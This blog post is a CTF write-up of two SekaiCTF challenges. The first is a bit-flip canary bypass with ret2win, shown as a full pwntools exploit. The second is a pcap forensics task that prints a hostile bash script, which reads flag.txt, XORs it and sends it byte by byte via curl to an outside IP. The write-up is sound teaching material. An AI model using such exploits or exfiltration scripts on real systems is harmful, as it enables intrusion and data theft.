SekaiCTF was an intermediate-level 48-hour CTF hosted by the team Project Sekai, and contained a lot of interesting challenges. The following challenge-writeups are for two of the challenges I solved during the competition.
Pwn
Cosmic Ray
This challenge was released about half-way through the CTF and ended up with 149 solves in total.
The provided zip-file contains a challenge binary, the ld and the libc. The binary have canaries and NX enabled, but PIE has been disabled
1
2
3
4
5
6
7
8
$ pwn checksec ./cosmicray
[*] '/home/loevland/ctf/sekai/pwn/cosmic_ray/dist/cosmicray'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
When running the binary we are given an arbitrary write with a twist; We are only able to flip a single bit position of the memory address we provide. After the bitflip (if we supply a valid memory address) we are prompted for some input
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ ./cosmicray
Welcome to my revolutionary new cosmic ray machine!
Give me any address in memory and I'll send a cosmic ray through it:
0x3ff000
|0|1|2|3|4|5|6|7|
-----------------
|0|1|1|1|1|1|1|1|
Enter a bit position to flip (0-7):
0
Bit succesfully flipped! New value is -1
Please write a review of your experience today:
asd
Decompiling the binary reveals the following main function
The supplied emory address is passed to the cosmic_ray
function. Further decompilation of this function is not required to solve the challenge, as all it does is actually flipping a single bit of what is stored at the memory address we supply.
After the bit flipping gets
is being called, which allows us to overflow the v5
buffer and overwrite the rip
register. The binary comes with a win
function which is not being called from anywhere
The only thing preventing us to do a standard ret2win by overflowing the buffer and pass win
into the rip
register is the stack canary. At the end of the main function the value of the canary on the stack is checked to see if it has changed or not. If the value has changed (which happens when we overflow the buffer with the help of the gets
function) the program will exit, but if it has not changed the program will not exit and continue executing until its done.
If we look at the assembly-instructions of this canary-check we see that there is a conditional jump instruction, je
, which makes the program jump past __stack_chk_fail@plt
(which is the function which exits our program as it detects our overflow) only when the stack canary is equal to its original value.
With the help of the bit flip we are given we can change the je
instruction to another jump instruction that will not call __stack_chk_fail@plt
when the stack canary has been overwritten(e.g. jne
or jbe
). We will then be able to perform our buffer overflow since the program will not exit prematurely because of our canary overwrite.
Looking at the opcodes we see that je
has the value 0x74, and jbe
has the value 0x76
To change the je
instruction to the jbe
instruction we have to flip the 6th bit.
Knowing that we don’t need to worry about the canary anymore we can use ret2win to solve the rest of the challenge.
This is the final solve-script for the challenge
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
exe = context.binary = ELF(args.EXE or './cosmicray', checksec=False)
host = args.HOST or 'chals.sekai.team'
port = int(args.PORT or 4077)
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
gdbscript = '''
tbreak main
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
offset = 56
ret = 0x40101a
canary_jmp = 0x4016f4
bit_pos = 6
io = start()
io.sendlineafter(b"it:\n", str(hex(canary_jmp)).encode()) # Address of je instruction
io.sendlineafter(b"7):\n", str(6).encode()) # Overwrite from "je" to "jbe"
# Ret2win
payload = b"A"*offset
payload += pack(ret)
payload += pack(exe.sym.win)
io.sendlineafter(b"today:\n", payload)
io.interactive()
1
2
3
4
$ python3 exploit.py
[+] Opening connection to chals.sekai.team on port 4077: Done
[*] Switching to interactive mode
SEKAI{w0w_pwn_s0_ez_wh3n_I_can_s3nd_a_c05m1c_ray_thru_ur_cpu}
Forensics
Eval Me
This challenge ended up with 303 solves in total during the CTF.
We are given a pcap
and a netcat port and address which we can connect to. The pcap
contains recorded network packets which we should investigate with wireshark.
Looking through the recorded packets we see a lot of different protocols being used (TLSv1.3, HTTP, DNS, TCP). The most interesting packets come from the HTTP protocol, as there seems to be some sort of communication in JSON between a client and a server.
All the http-packets have this structure, with the client sending a POST request with curl to the server with some varying value for the JSON data
field, and the server then responding with a ok:true
for each request.
The values sent from the client in the data
field seem like jibberish, but looks interesting enough that we keep the values for later in case we uncover something more in this challenge. We can apply a filter to only get http-packets of length 215 to get all the packets sent by the client(either by parsing the values with tshark, manually, or other preferable methods).
As we don’t find anything more particulary interesting in the pcap it is worth investigating the server address and port we are given.
As the challenge is called eval_me
, we should probably use the python function eval
for this challenge to solve all the math problems. What could possibly go wrong by blindly calling eval
…
I wrote this little python script to solve the math problems. The script also prints the received math-equations, as this challenge smells a bit fishy…
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
io = remote("chals.sekai.team", 9000)
io.recvuntil(b":)")
io.recvline()
io.recvline()
calc = io.recvline().strip()
io.sendline(str(eval(calc)).encode())
for i in range(99):
io.recvuntil(b"correct\n")
calc = io.recvline().strip()
print(calc)
io.sendline(str(eval(calc)).encode())
When running the script we see what was sort of expected
In the middle of the equation solving there is some code passed to our eval
function, which makes our script execute the python code, which in this case fetches, runs, and deletes a bash-script from https://shorturl.at/fgjvU
. Manually fetching the script, called extract.sh
, from the url we see the following code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/bash
FLAG=$(cat flag.txt)
KEY='s3k@1_v3ry_w0w'
# Credit: https://gist.github.com/kaloprominat/8b30cda1c163038e587cee3106547a46
Asc() { printf '%d' "'$1"; }
XOREncrypt(){
local key="$1" DataIn="$2"
local ptr DataOut val1 val2 val3
for (( ptr=0; ptr < ${#DataIn}; ptr++ )); do
val1=$( Asc "${DataIn:$ptr:1}" )
val2=$( Asc "${key:$(( ptr % ${#key} )):1}" )
val3=$(( val1 ^ val2 ))
DataOut+=$(printf '%02x' "$val3")
done
for ((i=0;i<${#DataOut};i+=2)); do
BYTE=${DataOut:$i:2}
curl -m 0.5 -X POST -H "Content-Type: application/json" -d "{\"data\":\"$BYTE\"}" http://35.196.65.151:30899/ &>/dev/null
done
}
XOREncrypt $KEY $FLAG
exit 0
One of the last commands, curl -m 0.5 -X POST -H "Content-Type: application/json" -d "{\"data\":\"$BYTE\"}" http://35.196.65.151:30899/ &>/dev/null
, can be recognized from the pcap
we analyzed earlier. This command is what created the requests we extracted. The script reads the flag from flag.txt and xor it with the key s3k@1_v3ry_w0w
. This means that the values we extracted earlier could be the encrypted flag!
We attempt to decrypt the encrypted flag with python
1
2
3
4
5
enc_flag = "20762001782445454615001000284b41193243004e41000b2d0542052c0b1932432d0441000b2d05422852124a1f096b4e000f" # Extracted from pcap
key = "s3k@1_v3ry_w0w" # Key from extract.sh
for idx, enc_char in enumerate([int(enc_flag[i:i+2], 16) for i in range(0, len(enc_flag), 2)]): # Split enc_flag in pairs of 2
print(chr(enc_char ^ ord(key[idx % len(key)])), end="") # Xor key and enc_flag byte by byte
1
2
$ python3 decrypt.py
SEKAI{3v4l_g0_8rrrr_8rrrrrrr_8rrrrrrrrrrr_!!!_8483}